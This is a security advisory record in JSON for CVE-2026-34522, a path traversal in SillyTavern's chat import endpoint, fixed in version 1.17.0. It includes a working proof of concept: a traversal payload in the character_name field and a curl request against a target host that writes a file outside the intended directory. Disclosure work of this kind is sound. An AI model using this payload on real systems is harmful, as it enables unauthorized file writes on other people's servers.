CVE-2026-34522: Sillytavern Path Traversal Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xvww-xhx6-22pf",
  "modified" : "2026-04-06T17:24:54Z",
  "published" : "2026-04-01T21:36:40Z",
  "aliases" : [ "CVE-2026-34522" ],
  "summary" : "SillyTavern has a path traversal in `/api/chats/import` allows arbitrary file write outside intended chat directory",
  "details" : "### Summary\nA path traversal vulnerability in `/api/chats/import` allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into `character_name`.\n\n### Details\n`character_name` is used unsafely as part of the destination filename and then passed into `path.join(...)` without sanitization.\n\nEvidence:\n- Import handler entrypoint:  \n  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L680-L686>\n- Unsanitized `character_name` used in output filename:  \n  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L719-L723>\n- Same write pattern in JSONL import branch:  \n  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L759-L766>\n- Endpoint auth context (authenticated user access):  \n  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239>\n\nExample payload:\n- `character_name=../../../../tmp/st_poc`\n\nThis causes the final destination path to escape from `<user>/chats/<avatar>/...` and write to an attacker-controlled location such as `/tmp/...` (or any writable path for the service account).\n\n### PoC\nPrerequisites:\n- Valid authenticated session cookie (`cookie.txt`)\n- Valid CSRF token (`$TOKEN`)\n\nPrepare payload:\n\n```bash\nprintf '{\"user_name\":\"u\",\"chat_metadata\":{}}\\n{\"name\":\"u\",\"mes\":\"owned\"}\\n' >/tmp/poc.jsonl\n```\n\nTrigger arbitrary write:\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" \\\n  -F \"avatar=@/tmp/poc.jsonl\" \\\n  -F \"file_type=jsonl\" \\\n  -F \"avatar_url=a.png\" \\\n  -F \"character_name=../../../../tmp/st_poc\" \\\n  -F \"user_name=u\" \\\n  http://TARGET:8000/api/chats/import\n```\n\nObserved result:\n- A file is created outside chats directory, for example:  \n  `/tmp/st_poc - <timestamp> imported.jsonl`\n\n### Impact\n- Integrity: attacker can create files in unintended filesystem locations.\n- Availability: can be used for disk abuse and disruptive file placement.\n- Can become more severe when chained with other local processing behaviors.\n\n### Resolution\n\nThe issue was addressed in version 1.17.0",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "sillytavern"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.17.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.16.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-xvww-xhx6-22pf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34522"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/SillyTavern/SillyTavern"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-73" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-01T21:36:40Z",
    "nvd_published_at" : "2026-04-02T18:16:29Z"
  }
}